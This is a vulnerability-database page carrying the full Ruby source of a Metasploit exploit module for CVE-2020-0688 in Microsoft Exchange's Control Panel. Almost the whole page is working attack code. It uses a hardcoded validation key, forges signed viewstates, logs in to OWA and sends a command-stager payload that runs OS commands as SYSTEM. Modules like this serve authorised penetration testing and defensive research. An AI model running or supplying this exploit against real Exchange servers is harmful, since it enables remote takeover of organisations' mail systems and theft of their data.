Lucene search

K

Exchange Control Panel Viewstate Deserialization

🗓️ 04 Mar 2020 00:00:00Reported by Spencer McIntyreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 586 Views

Exchange Control Panel Viewstate Deserialization. Exploits .NET serialization vulnerability in Exchange Control Panel web page due to Microsoft Exchange Server not randomizing keys, leading to viewstate crafted by attacker to execute OS command by NT_AUTHORITY\SYSTEM using .NET deserialization

Show more
Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'bindata'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
# include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'  
VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf"  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Exchange Control Panel Viewstate Deserialization',  
'Description' => %q{  
This module exploits a .NET serialization vulnerability in the  
Exchange Control Panel (ECP) web page. The vulnerability is due to  
Microsoft Exchange Server not randomizing the keys on a  
per-installation basis resulting in them using the same validationKey  
and decryptionKey values. With knowledge of these, values an attacker  
can craft a special viewstate to cause an OS command to be executed  
by NT_AUTHORITY\SYSTEM using .NET deserialization.  
},  
'Author' => 'Spencer McIntyre',  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2020-0688'],  
['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],  
[ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],  
[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]  
],  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'DefaultTarget' => 1,  
'DisclosureDate' => '2020-02-11',  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],  
'Reliability' => [ REPEATABLE_SESSION, ],  
}  
))  
  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),  
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),  
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])  
])  
  
register_advanced_options([  
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),  
])  
end  
  
def check  
state = get_request_setup  
viewstate = state[:viewstate]  
return CheckCode::Unknown if viewstate.nil?  
  
viewstate = Rex::Text.decode_base64(viewstate)  
body = viewstate[0...-20]  
signature = viewstate[-20..-1]  
  
unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature  
return CheckCode::Safe  
end  
  
# we've validated the signature matches based on the data we have and thus  
# proven that we are capable of signing a viewstate ourselves  
CheckCode::Vulnerable  
end  
  
def generate_viewstate(generator, session_id, cmd)  
viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd)  
signature = generate_viewstate_signature(generator, session_id, viewstate)  
Rex::Text.encode_base64(viewstate + signature)  
end  
  
def generate_viewstate_signature(generator, session_id, viewstate)  
mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')  
mac_key_bytes << Rex::Text.to_unicode(session_id)  
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)  
end  
  
def exploit  
state = get_request_setup  
  
# the major limit is the max length of a GET request, the command will be  
# XML escaped and then base64 encoded which both increase the size  
if target.arch.first == ARCH_CMD  
execute_command(payload.encoded, opts={state: state})  
else  
cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first  
execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})  
end  
end  
  
def execute_command(cmd, opts)  
state = opts[:state]  
viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)  
5.times do |iteration|  
# this request *must* be a GET request, can't use POST to use a larger viewstate  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),  
'cookie' => state[:cookies].join(''),  
'agent' => state[:user_agent],  
'vars_get' => {  
'__VIEWSTATE' => viewstate,  
'__VIEWSTATEGENERATOR' => state[:viewstate_generator]  
}  
})  
break  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')  
sleep iteration  
end  
end  
  
def get_request_setup  
# need to use a newer default user-agent than what Metasploit currently provides  
# see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string  
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'),  
'method' => 'POST',  
'agent' => user_agent,  
'vars_post' => {  
'password' => datastore['PASSWORD'],  
'flags' => '4',  
'destination' => full_uri(normalize_uri(target_uri.path, 'owa')),  
'username' => datastore['USERNAME']  
}  
})  
fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?  
cookies = [res.get_cookies]  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),  
'cookie' => res.get_cookies,  
'agent' => user_agent  
})  
fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200  
cookies << res.get_cookies  
  
viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0]  
if viewstate_generator.nil?  
print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}")  
viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR  
else  
vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}")  
end  
  
viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0]  
if viewstate.nil?  
vprint_warning('Failed to find the __VIEWSTATE value')  
end  
  
session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]  
if session_id.nil?  
fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')  
end  
vprint_status("Recovered the ASP.NET_SessionID: #{session_id}")  
  
{user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}  
end  
end  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo